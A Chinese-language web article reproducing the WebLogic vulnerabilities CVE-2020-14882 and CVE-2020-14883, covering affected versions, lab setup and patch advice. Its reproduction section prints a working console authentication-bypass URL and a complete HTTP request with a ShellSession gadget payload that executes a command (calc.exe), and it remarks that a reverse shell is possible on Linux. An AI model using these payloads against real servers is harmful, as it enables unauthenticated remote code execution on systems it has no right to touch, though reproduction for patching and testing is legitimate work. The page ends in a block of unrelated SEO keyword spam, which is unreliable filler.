千家信息网

如何实现WebLogic未授权命令执行漏洞CVE-2020-14882及CVE-2020-14883的分析

发表于:2024-09-30 作者:千家信息网编辑
千家信息网最后更新 2024年09月30日,今天就跟大家聊聊有关如何实现WebLogic未授权命令执行漏洞CVE-2020-14882及CVE-2020-14883的分析,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望
千家信息网最后更新 2024年09月30日如何实现WebLogic未授权命令执行漏洞CVE-2020-14882及CVE-2020-14883的分析

今天就跟大家聊聊有关如何实现WebLogic未授权命令执行漏洞CVE-2020-14882及CVE-2020-14883的分析,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。

0x00简介

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

Weblogic对比Tomcat

0x01漏洞概述

CVE-2020-14882: 代码执行漏洞

远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console,并在 WebLogic Server Console 执行任意代码。

CVE-2020-14883: 权限绕过漏洞

远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console。

0x02影响版本

Oracle:Weblogic:

10.3.6.0.0

12.1.3.0.0

12.2.1.3.0

12.2.1.4.0

14.1.1.0.0

0x03环境搭建

Windows2016+WebLogic12.2.1.4

1.在Oracle官方下载,WebLogic12.2.1.4版本

https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html

2.安装weblogic需要java环境,这里java版本为jdk1.8.0_191

3.java环境安装完成后使用管理员权限运行WebLogic安装

java -jar fmw_12.2.1.4.0_wls_lite_generic.jar

4.安装时选择下一步即可,在"安装类型"中选择"含示例的完整安装"

5.在配置向导中,设置密码,点击创建即可

6.安装完成后,在浏览器访问127.0.0.1:7001/console 出现如下界面即可

0x04漏洞复现

1.CVE-2020-14883: 权限绕过漏洞

1.1 低权限的用户访问以下URL,通过未授权访问到管理后台页面

http://192.168.207.149:7001/console/css/%252e%252e%252fconsole.portal

2. CVE-2020-14882: 代码执行漏洞

2.1 在首页使用burp抓取数据包,然后发送到Repeater模块构造payload

2.2 在url处通过非法字符绕过访问,然后通过Gadget调用命令执行

Payload: /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22)

完整数据包如下:

GET /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22) HTTP/1.1

Host: 192.168.207.149:7001

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: ADMINCONSOLESESSION=_i6RW6CkwbR8Zr7DOmC0qhwkfhOdOVZiWlubIcjtgogLbSWVXCAl!-1560292457; think_lang=zh-cn; PHPSESSID=0701339d3e42f0edcf094f63a3919f90; JSESSIONID=z3-RYQeKtqCOmUfkcph5xyWXJWfYJQ-6E19wRWMHtS2JPtA14MaH!-1560292457

Connection: close

3. 点击"发送",在服务器稍等一下可以看到弹出了计算器

注:在linux中可以通过构造payload实现反弹shell

0x05修复建议

1. 在Oracle官方下载最新的漏洞补丁

https://support.oracle.com/portal/

看完上述内容,你们对如何实现WebLogic未授权命令执行漏洞CVE-2020-14882及CVE-2020-14883的分析有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注行业资讯频道,感谢大家的支持。

漏洞 应用 权限 管理 命令 代码 内容 数据 版本 环境 分析 特殊 官方 情况 攻击者 服务器 未经 网络 网络应用 身份 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 it软件开发绩效考核表 佛山游戏软件开发公司招聘 服务器的可靠性和管理性 中小学家庭网络安全观后感 sql数据库设置自动收缩日志 vr软件开发技术 网易游戏服务器几年更换一次 山东大学数据库实验内容 工业控制网络安全态度报告 大厨做菜软件开发 浦东新区上门软件开发管理制度 网络安全知识文学稿 甘肃省网络安全宣传周法治日 双阳区有名的网络安全常见问题 互联网高科技公司是指什么 逆战最新服务器更新 数据库配置案例 农产品电子交易平台软件开发 安卓sql数据库 如何搭建我的世界正版验证服务器 电脑的网络安全模式重启 db3 数据库 网络安全缺少专项配套资金 邮件合并2个数据库 pc读不出苹果硬盘的数据库 魔兽世界2021服务器人口 序列对比和数据库搜索的区别 服务周到的直销软件开发 网络安全审计产品招标公告 如何搭建我的世界正版验证服务器
0